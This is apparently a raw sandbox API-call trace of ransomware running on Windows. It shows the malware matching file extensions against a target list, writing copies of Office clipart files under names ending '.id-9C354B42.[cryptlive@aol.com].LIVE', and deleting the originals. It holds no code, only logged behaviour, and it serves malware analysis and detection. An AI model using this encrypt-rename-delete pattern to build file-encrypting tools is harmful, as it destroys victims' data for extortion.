[0153.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString=".docx") returned 5 [0153.651] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.651] lstrlenW (lpString=".pdf") returned 4 [0153.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString=".xls") returned 4 [0153.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.651] lstrlenW (lpString=".xlsx") returned 5 [0153.651] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.651] lstrlenW (lpString=".ppt") returned 4 [0153.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.651] lstrlenW (lpString=".zip") returned 4 [0153.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.651] lstrlenW (lpString=".rar") returned 4 [0153.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString=".bz2") returned 4 [0153.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString=".7z") returned 3 [0153.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.651] lstrlenW (lpString=".dbf") returned 4 [0153.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.651] lstrlenW (lpString=".1cd") returned 4 [0153.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.651] lstrlenW (lpString=".jpg") returned 4 [0153.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.651] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.651] lstrlenW (lpString="J0106124.WMF") returned 12 [0153.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.652] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5812) returned 1 [0153.652] CloseHandle (hObject=0x1e0) returned 1 [0153.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0153.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.653] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.653] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.654] GetLastError () returned 0x0 [0153.654] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x16b4, lpOverlapped=0x0) returned 1 [0153.669] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x16c0, lpOverlapped=0x0) returned 1 [0153.670] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.670] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.670] SetEndOfFile (hFile=0x1f8) returned 1 [0153.670] CloseHandle (hObject=0x1f8) returned 1 [0153.670] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.670] SetEndOfFile (hFile=0x1e0) returned 1 [0153.672] CloseHandle (hObject=0x1e0) returned 1 [0153.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0153.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.673] lstrlenW (lpString=".doc") returned 4 [0153.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.673] lstrlenW (lpString=".docx") returned 5 [0153.673] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.673] lstrlenW (lpString=".pdf") returned 4 [0153.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString=".xls") returned 4 [0153.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.674] lstrlenW (lpString=".xlsx") returned 5 [0153.674] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.674] lstrlenW (lpString=".ppt") returned 4 [0153.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.674] lstrlenW (lpString=".zip") returned 4 [0153.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.674] lstrlenW (lpString=".rar") returned 4 [0153.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString=".bz2") returned 4 [0153.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString=".7z") returned 3 [0153.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.674] lstrlenW (lpString=".dbf") returned 4 [0153.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.674] lstrlenW (lpString=".1cd") returned 4 [0153.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.674] lstrlenW (lpString=".jpg") returned 4 [0153.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.674] lstrlenW (lpString=".doc") returned 4 [0153.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString=".docx") returned 5 [0153.674] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.674] lstrlenW (lpString=".pdf") returned 4 [0153.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.674] lstrlenW (lpString=".xls") returned 4 [0153.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.674] lstrlenW (lpString=".xlsx") returned 5 [0153.674] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.675] lstrlenW (lpString=".ppt") returned 4 [0153.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.675] lstrlenW (lpString=".zip") returned 4 [0153.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.675] lstrlenW (lpString=".rar") returned 4 [0153.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.675] lstrlenW (lpString=".bz2") returned 4 [0153.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.675] lstrlenW (lpString=".7z") returned 3 [0153.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.675] lstrlenW (lpString=".dbf") returned 4 [0153.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.675] lstrlenW (lpString=".1cd") returned 4 [0153.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0153.675] lstrlenW (lpString=".jpg") returned 4 [0153.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.675] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.675] lstrlenW (lpString="J0106208.WMF") returned 12 [0153.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.683] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11900) returned 1 [0153.683] CloseHandle (hObject=0x38c) returned 1 [0153.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0153.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.684] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.684] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0153.684] GetLastError () returned 0x0 [0153.684] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2e7c, lpOverlapped=0x0) returned 1 [0154.119] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0154.151] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.151] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.151] SetEndOfFile (hFile=0x1dc) returned 1 [0154.205] CloseHandle (hObject=0x1dc) returned 1 [0154.205] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.205] SetEndOfFile (hFile=0x38c) returned 1 [0154.207] CloseHandle (hObject=0x38c) returned 1 [0154.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0154.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.394] lstrlenW (lpString=".doc") returned 4 [0154.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.394] lstrlenW (lpString=".docx") returned 5 [0154.395] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.395] lstrlenW (lpString=".pdf") returned 4 [0154.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString=".xls") returned 4 [0154.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.395] lstrlenW (lpString=".xlsx") returned 5 [0154.395] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.395] lstrlenW (lpString=".ppt") returned 4 [0154.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.395] lstrlenW (lpString=".zip") returned 4 [0154.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.395] lstrlenW (lpString=".rar") returned 4 [0154.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString=".bz2") returned 4 [0154.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString=".7z") returned 3 [0154.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.395] lstrlenW (lpString=".dbf") returned 4 [0154.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.395] lstrlenW (lpString=".1cd") returned 4 [0154.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.395] lstrlenW (lpString=".jpg") returned 4 [0154.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.395] lstrlenW (lpString=".doc") returned 4 [0154.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.395] lstrlenW (lpString=".docx") returned 5 [0154.395] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.395] lstrlenW (lpString=".pdf") returned 4 [0154.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.396] lstrlenW (lpString=".xls") returned 4 [0154.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.396] lstrlenW (lpString=".xlsx") returned 5 [0154.396] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.396] lstrlenW (lpString=".ppt") returned 4 [0154.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.396] lstrlenW (lpString=".zip") returned 4 [0154.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.396] lstrlenW (lpString=".rar") returned 4 [0154.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.396] lstrlenW (lpString=".bz2") returned 4 [0154.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.396] lstrlenW (lpString=".7z") returned 3 [0154.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.396] lstrlenW (lpString=".dbf") returned 4 [0154.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.396] lstrlenW (lpString=".1cd") returned 4 [0154.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0154.396] lstrlenW (lpString=".jpg") returned 4 [0154.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.396] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.396] lstrlenW (lpString="J0107132.WMF") returned 12 [0154.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.415] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=48380) returned 1 [0154.415] CloseHandle (hObject=0x1e0) returned 1 [0154.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 [0154.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.420] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.420] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.421] GetLastError () returned 0x0 [0154.421] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xbcfc, lpOverlapped=0x0) returned 1 [0154.454] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xbd00, lpOverlapped=0x0) returned 1 [0154.455] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.455] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.455] SetEndOfFile (hFile=0x314) returned 1 [0154.456] CloseHandle (hObject=0x314) returned 1 [0154.456] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.456] SetEndOfFile (hFile=0x1e0) returned 1 [0154.458] CloseHandle (hObject=0x1e0) returned 1 [0154.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.580] lstrlenW (lpString=".doc") returned 4 [0154.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.580] lstrlenW (lpString=".docx") returned 5 [0154.580] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.580] lstrlenW (lpString=".pdf") returned 4 [0154.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.580] lstrlenW (lpString=".xls") returned 4 [0154.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.580] lstrlenW (lpString=".xlsx") returned 5 [0154.580] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.581] lstrlenW (lpString=".ppt") returned 4 [0154.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.581] lstrlenW (lpString=".zip") returned 4 [0154.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.581] lstrlenW (lpString=".rar") returned 4 [0154.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".bz2") returned 4 [0154.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".7z") returned 3 [0154.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.581] lstrlenW (lpString=".dbf") returned 4 [0154.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.581] lstrlenW (lpString=".1cd") returned 4 [0154.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.581] lstrlenW (lpString=".jpg") returned 4 [0154.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.581] lstrlenW (lpString=".doc") returned 4 [0154.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".docx") returned 5 [0154.581] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.581] lstrlenW (lpString=".pdf") returned 4 [0154.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".xls") returned 4 [0154.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.581] lstrlenW (lpString=".xlsx") returned 5 [0154.581] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.581] lstrlenW (lpString=".ppt") returned 4 [0154.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 